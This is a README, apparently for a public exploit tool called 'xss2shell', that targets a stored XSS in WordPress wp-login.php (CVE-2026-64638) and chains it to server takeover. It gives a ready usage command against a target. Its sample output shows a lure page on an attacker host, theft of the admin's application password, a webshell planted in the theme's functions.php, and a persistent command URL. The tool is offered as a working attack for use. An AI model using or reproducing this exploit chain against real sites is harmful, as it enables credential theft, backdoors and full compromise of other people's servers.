Critical Severity
CVE-2026-64638
Published: Oct 25, 2026
CVE-2026-64638 | WordPress < 7.0.3 Pre-Auth Stored XSS → RCE
<div align="center">
<img src="img/banner.svg" alt="xss2shell" width="700">
<br><br>
[](https://nvd.nist.gov/vuln/detail/CVE-2026-64638)
[](https://wordpress.org)
[](https://python.org)
[](LICENSE)
Every public PoC for this CVE is broken. **This one works.**
[The Bug](#the-bug) · [Quick Start](#quick-start) · [How It Works](#how-it-works) · [Limitations](#limitations)
</div>
---
## The Bug
WordPress < 7.0.3 does not sanitize the `log` (username) parameter in `wp-login.php`. The value is stored and rendered inside the admin's authenticated session — a **pre-auth stored XSS** that chains to full server takeover with a single click.
```
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
```
## Quick Start
```bash
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
```
<details>
<summary><b>Example output</b></summary>
```
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
```
</details>